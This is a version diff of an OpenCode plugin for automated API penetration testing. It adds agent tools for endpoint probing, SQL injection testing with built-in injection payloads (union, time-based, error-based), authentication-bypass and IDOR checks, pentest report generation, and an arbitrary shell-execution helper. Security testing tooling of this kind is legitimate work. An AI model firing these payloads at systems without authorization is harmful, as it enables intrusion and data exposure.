opencode-api-security-testing 5.4.8 → 5.4.10

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "opencode-api-security-testing",
-  "version": "5.4.8",
+  "version": "5.4.10",
   "description": "API Security Testing Plugin for OpenCode - Automated vulnerability scanning and penetration testing",
   "type": "module",
   "main": "src/index.ts",

package/postinstall.mjs

@@ -145,13 +145,25 @@ function installPlaywright(pythonCmd) {
   const pipCmd = checkPip(pythonCmd);
   if (!pipCmd) return { success: false, error: "pip not found" };
   
-  const pkgResult = installPythonPackage(pipCmd, "playwright");
-  if (!pkgResult.success) return pkgResult;
+  // 安装 Playwright 包（增加超时时间）
+  const pkgResult = runCommand(`${pipCmd} install playwright`, 180000);
+  if (!pkgResult.success) {
+    console.log(`  ⚠ Failed to install playwright package: ${pkgResult.error}`);
+    return { success: false, error: pkgResult.error };
+  }
+  console.log("  ✓ Playwright package installed");
   
-  console.log("  Installing Playwright browsers (chromium)...");
-  const browserResult = runCommand(`${pythonCmd} -m playwright install chromium`, 300000);
-  if (browserResult.success) return { success: true, error: "" };
+  // 安装浏览器（增加超时时间到 10 分钟）
+  console.log("  Installing Playwright browsers (chromium) - this may take several minutes...");
+  const browserResult = runCommand(`${pythonCmd} -m playwright install chromium`, 600000);
+  if (browserResult.success) {
+    console.log("  ✓ Playwright browsers installed");
+    return { success: true, error: "" };
+  }
   
+  console.log(`  ⚠ Browser installation failed: ${browserResult.error}`);
+  console.log("  → browser_collect tool will have limited functionality");
+  console.log(`  → Manual fix: ${pythonCmd} -m playwright install chromium`);
   return { success: false, error: browserResult.error };
 }
 

package/src/index.ts

@@ -2,7 +2,7 @@ import type { Plugin, PluginInput } from "@opencode-ai/plugin";
 import { tool } from "@opencode-ai/plugin";
 import { join, dirname } from "path";
 import { existsSync, readFileSync, writeFileSync, mkdirSync, readdirSync, unlinkSync } from "fs";
-import { exec } from "child_process";
+import { exec, spawn } from "child_process";
 import { promisify } from "util";
 
 const execAsync = promisify(exec);
@@ -610,24 +610,33 @@ function getInjectedAgentsPrompt(): string {
 }
 
 async function execShell(_ctx: unknown, cmd: string): Promise<string> {
-  try {
-    const { stdout, stderr } = await execAsync(cmd, {
-      maxBuffer: 1024 * 1024 * 10, // 10MB buffer
-      timeout: 120000, // 2 minutes timeout
-      shell: process.platform === "win32" ? "powershell.exe" : undefined
+  return new Promise((resolve) => {
+    const isWindows = process.platform === "win32";
+    const shell = isWindows ? "powershell.exe" : "/bin/bash";
+    const args = isWindows ? ["-NoProfile", "-Command", cmd] : ["-c", cmd];
+    
+    const proc = spawn(shell, args, {
+      timeout: 120000,
     });
-    if (stderr && !stdout) {
-      return `Error: ${stderr}`;
-    }
-    return stdout || stderr;
-  } catch (error: unknown) {
-    const err = error as { message?: string; stdout?: string; stderr?: string };
-    // 如果有 stdout 输出，即使命令失败也返回输出
-    if (err.stdout) {
-      return err.stdout;
-    }
-    return `Error: ${err.message || "Unknown error"}`;
-  }
+    
+    let stdout = "";
+    let stderr = "";
+    
+    proc.stdout.on("data", (data) => { stdout += data; });
+    proc.stderr.on("data", (data) => { stderr += data; });
+    
+    proc.on("close", (code) => {
+      if (code === 0 || stdout) {
+        resolve(stdout || stderr);
+      } else {
+        resolve(`Error (exit ${code}): ${stderr || "Unknown error"}`);
+      }
+    });
+    
+    proc.on("error", (err) => {
+      resolve(`Error: ${err.message}`);
+    });
+  });
 }
 
 function getFailureCount(sessionID: string): number {
@@ -1267,7 +1276,7 @@ print(json.dumps(result, ensure_ascii=False))
             total: scanTasks.size,
             filtered: tasks.length,
             tasks: tasks.map(t => ({
-              id: t.id,
+              task_id: t.id,
               status: t.status,
               type: t.type,
               target: t.target,
@@ -1279,6 +1288,383 @@ print(json.dumps(result, ensure_ascii=False))
         },
       }),
 
+      // ========================================
+      // 渗透测试增强工具
+      // ========================================
+
+      // 批量端点测试
+      endpoint_batch_test: tool({
+        description: "批量测试多个 API 端点。参数: base_url(基础URL), endpoints(端点列表), methods(HTTP方法列表)",
+        args: {
+          base_url: tool.schema.string(),
+          endpoints: tool.schema.array(tool.schema.string()),
+          methods: tool.schema.array(tool.schema.enum(["GET", "POST", "PUT", "DELETE"])).optional(),
+          headers: tool.schema.record(tool.schema.string()).optional(),
+        },
+        async execute(args) {
+          const results: Array<{
+            endpoint: string;
+            method: string;
+            status: number;
+            response_time: number;
+            auth_required: boolean;
+            content_length: number;
+            error?: string;
+          }> = [];
+          
+          const baseUrl = args.base_url.replace(/\/$/, "");
+          const methods = args.methods || ["GET"];
+          const headers = args.headers || {};
+          
+          for (const endpoint of args.endpoints) {
+            for (const method of methods) {
+              const startTime = Date.now();
+              try {
+                const url = method === "GET" 
+                  ? `${baseUrl}${endpoint}` 
+                  : baseUrl;
+                
+                const fetchOptions: RequestInit = {
+                  method,
+                  headers: { "Content-Type": "application/json", ...headers },
+                };
+                
+                if (["POST", "PUT", "PATCH"].includes(method)) {
+                  fetchOptions.body = JSON.stringify({});
+                }
+                
+                const response = await fetch(url, fetchOptions);
+                const responseTime = Date.now() - startTime;
+                const contentLength = parseInt(response.headers.get("content-length") || "0");
+                
+                results.push({
+                  endpoint,
+                  method,
+                  status: response.status,
+                  response_time: responseTime,
+                  auth_required: response.status === 401 || response.status === 403,
+                  content_length: contentLength,
+                });
+              } catch (error) {
+                results.push({
+                  endpoint,
+                  method,
+                  status: 0,
+                  response_time: Date.now() - startTime,
+                  auth_required: false,
+                  content_length: 0,
+                  error: String(error),
+                });
+              }
+            }
+          }
+          
+          // 生成摘要
+          const summary = {
+            total: results.length,
+            success: results.filter(r => r.status >= 200 && r.status < 300).length,
+            auth_required: results.filter(r => r.auth_required).length,
+            client_errors: results.filter(r => r.status >= 400 && r.status < 500).length,
+            server_errors: results.filter(r => r.status >= 500).length,
+          };
+          
+          return JSON.stringify({ summary, results }, null, 2);
+        },
+      }),
+
+      // SQL 注入深度测试
+      sql_injection_test: tool({
+        description: "SQL 注入漏洞深度测试。参数: endpoint(端点URL), params(参数列表), method(HTTP方法), payload_type(注入类型)",
+        args: {
+          endpoint: tool.schema.string(),
+          params: tool.schema.array(tool.schema.string()),
+          method: tool.schema.enum(["GET", "POST"]).optional(),
+          payload_type: tool.schema.enum(["basic", "time_based", "union", "error_based"]).optional(),
+        },
+        async execute(args) {
+          const payloads: Record<string, string[]> = {
+            basic: [
+              "' OR '1'='1",
+              "1' OR '1'='1'--",
+              "1' OR '1'='1'/*",
+              "admin'--",
+              "' OR 1=1--",
+            ],
+            time_based: [
+              "1'; WAITFOR DELAY '0:0:3'--",
+              "1' AND SLEEP(3)--",
+              "1' AND (SELECT * FROM (SELECT(SLEEP(3)))a)--",
+            ],
+            union: [
+              "1' UNION SELECT NULL--",
+              "1' UNION SELECT NULL,NULL--",
+              "1' UNION SELECT NULL,NULL,NULL--",
+            ],
+            error_based: [
+              "1' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
+              "1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--",
+            ],
+          };
+          
+          const results: Array<{
+            param: string;
+            payload: string;
+            vulnerable: boolean;
+            evidence: string;
+            response_time?: number;
+          }> = [];
+          
+          const method = args.method || "POST";
+          const payloadType = args.payload_type || "basic";
+          const testPayloads = payloads[payloadType];
+          
+          for (const param of args.params) {
+            for (const payload of testPayloads) {
+              const startTime = Date.now();
+              try {
+                const url = method === "GET" 
+                  ? `${args.endpoint}?${param}=${encodeURIComponent(payload)}`
+                  : args.endpoint;
+                
+                const body = method === "POST" 
+                  ? JSON.stringify({ [param]: payload })
+                  : undefined;
+                
+                const response = await fetch(url, {
+                  method,
+                  headers: { "Content-Type": "application/json" },
+                  body,
+                });
+                
+                const responseText = await response.text();
+                const responseTime = Date.now() - startTime;
+                
+                // 检测 SQL 注入指标
+                const indicators = [
+                  responseText.toLowerCase().includes("sql syntax"),
+                  responseText.toLowerCase().includes("mysql_fetch"),
+                  responseText.toLowerCase().includes("ora-"),
+                  responseText.toLowerCase().includes("unclosed quotation"),
+                  responseText.toLowerCase().includes("quoted string not properly terminated"),
+                  responseTime > 3000 && payloadType === "time_based",
+                ];
+                
+                const vulnerable = indicators.some(Boolean);
+                
+                results.push({
+                  param,
+                  payload,
+                  vulnerable,
+                  evidence: vulnerable ? responseText.substring(0, 200) : "",
+                  response_time: responseTime,
+                });
+              } catch (error) {
+                results.push({
+                  param,
+                  payload,
+                  vulnerable: false,
+                  evidence: `Error: ${error}`,
+                });
+              }
+            }
+          }
+          
+          const vulnerableParams = results.filter(r => r.vulnerable);
+          
+          return JSON.stringify({
+            summary: {
+              tested_params: args.params.length,
+              total_payloads: testPayloads.length,
+              vulnerable_count: vulnerableParams.length,
+              risk_level: vulnerableParams.length > 0 ? "HIGH" : "LOW",
+            },
+            vulnerable: vulnerableParams,
+            all_results: results,
+            poc: vulnerableParams.length > 0 
+              ? `curl -X ${method} "${args.endpoint}" ${method === "POST" ? `-H "Content-Type: application/json" -d '{"${vulnerableParams[0].param}": "${vulnerableParams[0].payload}"}'` : ""}`
+              : null,
+          }, null, 2);
+        },
+      }),
+
+      // 认证绕过测试
+      auth_bypass_test: tool({
+        description: "认证绕过漏洞测试。参数: endpoint(端点URL), auth_type(认证类型), token(可选)",
+        args: {
+          endpoint: tool.schema.string(),
+          auth_type: tool.schema.enum(["jwt", "session", "basic", "api_key", "oauth"]).optional(),
+          token: tool.schema.string().optional(),
+        },
+        async execute(args) {
+          const results: Array<{
+            test_name: string;
+            success: boolean;
+            evidence: string;
+          }> = [];
+          
+          // 1. 无认证测试
+          const noAuthResponse = await fetch(args.endpoint);
+          results.push({
+            test_name: "无认证访问",
+            success: noAuthResponse.status === 200,
+            evidence: `Status: ${noAuthResponse.status}`,
+          });
+          
+          // 2. 空令牌测试
+          const emptyTokenResponse = await fetch(args.endpoint, {
+            headers: { 
+              "Authorization": "Bearer ",
+              "X-API-Key": "",
+            },
+          });
+          results.push({
+            test_name: "空令牌测试",
+            success: emptyTokenResponse.status === 200,
+            evidence: `Status: ${emptyTokenResponse.status}`,
+          });
+          
+          // 3. IDOR 测试 (递增 ID)
+          for (let i = 1; i <= 5; i++) {
+            const idorUrl = `${args.endpoint.replace(/\/$/, "")}?userId=${i}&id=${i}`;
+            try {
+              const idorResponse = await fetch(idorUrl);
+              if (idorResponse.status === 200) {
+                results.push({
+                  test_name: `IDOR 测试 (id=${i})`,
+                  success: true,
+                  evidence: `可访问其他用户数据: ${idorUrl}`,
+                });
+                break;
+              }
+            } catch (e) {
+              // Ignore errors
+            }
+          }
+          
+          // 4. 方法覆盖测试
+          const methods = ["PUT", "PATCH", "DELETE"];
+          for (const method of methods) {
+            try {
+              const methodResponse = await fetch(args.endpoint, {
+                method,
+                headers: { "Content-Type": "application/json" },
+              });
+              if (methodResponse.status === 200) {
+                results.push({
+                  test_name: `方法覆盖测试 (${method})`,
+                  success: true,
+                  evidence: `允许 ${method} 方法访问`,
+                });
+              }
+            } catch (e) {
+              // Ignore errors
+            }
+          }
+          
+          const bypassFound = results.filter(r => r.success);
+          
+          return JSON.stringify({
+            summary: {
+              total_tests: results.length,
+              bypass_found: bypassFound.length,
+              risk_level: bypassFound.length > 0 ? "HIGH" : "LOW",
+            },
+            results,
+            recommendations: bypassFound.length > 0 
+              ? ["实施严格的认证检查", "验证所有用户输入", "使用 CSRF Token"]
+              : ["认证机制正常"],
+          }, null, 2);
+        },
+      }),
+
+      // 专业渗透测试报告生成
+      generate_pentest_report: tool({
+        description: "生成专业的渗透测试报告。参数: target(目标), findings(发现列表), test_date(日期), tester(测试人员)",
+        args: {
+          target: tool.schema.string(),
+          findings: tool.schema.array(tool.schema.object({
+            title: tool.schema.string(),
+            severity: tool.schema.enum(["Critical", "High", "Medium", "Low", "Info"]),
+            description: tool.schema.string(),
+            evidence: tool.schema.string(),
+            poc: tool.schema.string(),
+            remediation: tool.schema.string(),
+          })),
+          test_date: tool.schema.string().optional(),
+          tester: tool.schema.string().optional(),
+        },
+        async execute(args) {
+          const criticalCount = args.findings.filter(f => f.severity === "Critical").length;
+          const highCount = args.findings.filter(f => f.severity === "High").length;
+          const mediumCount = args.findings.filter(f => f.severity === "Medium").length;
+          const lowCount = args.findings.filter(f => f.severity === "Low").length;
+          const infoCount = args.findings.filter(f => f.severity === "Info").length;
+          
+          const riskScore = (criticalCount * 10) + (highCount * 5) + (mediumCount * 2);
+          const overallRisk = riskScore >= 20 ? "严重" : riskScore >= 10 ? "高" : riskScore >= 5 ? "中" : "低";
+          
+          const report = `# 渗透测试报告
+
+## 1. 执行摘要
+
+| 项目 | 内容 |
+|------|------|
+| **目标** | ${args.target} |
+| **测试日期** | ${args.test_date || new Date().toISOString().split('T')[0]} |
+| **测试人员** | ${args.tester || "安全测试团队"} |
+| **整体风险** | ${overallRisk} |
+| **风险评分** | ${riskScore}/100 |
+
+### 漏洞统计
+| 严重程度 | 数量 |
+|---------|------|
+| 🔴 Critical | ${criticalCount} |
+| 🟠 High | ${highCount} |
+| 🟡 Medium | ${mediumCount} |
+| 🟢 Low | ${lowCount} |
+| ℹ️ Info | ${infoCount} |
+
+## 2. 漏洞详情
+
+${args.findings.map((f, i) => `
+### 2.${i + 1} ${f.title}
+
+| 属性 | 值 |
+|------|------|
+| **严重程度** | ${f.severity} |
+| **描述** | ${f.description} |
+
+#### 证据
+\`\`\`
+${f.evidence}
+\`\`\`
+
+#### PoC (概念验证)
+\`\`\`bash
+${f.poc}
+\`\`\`
+
+#### 修复建议
+${f.remediation}
+`).join("\n")}
+
+## 3. 修复优先级
+
+1. **立即修复**: ${criticalCount > 0 ? `${criticalCount} 个严重漏洞` : "无"}
+2. **尽快修复**: ${highCount > 0 ? `${highCount} 个高危漏洞` : "无"}
+3. **计划修复**: ${mediumCount > 0 ? `${mediumCount} 个中危漏洞` : "无"}
+
+## 4. 免责声明
+
+本报告仅供授权方参考，测试过程中未进行任何破坏性操作。
+`;
+          
+          return report;
+        },
+      }),
+
+      // ========================================
+      // OpenCode 原生集成工具
       // ========================================
       // OpenCode 原生集成工具
       // ========================================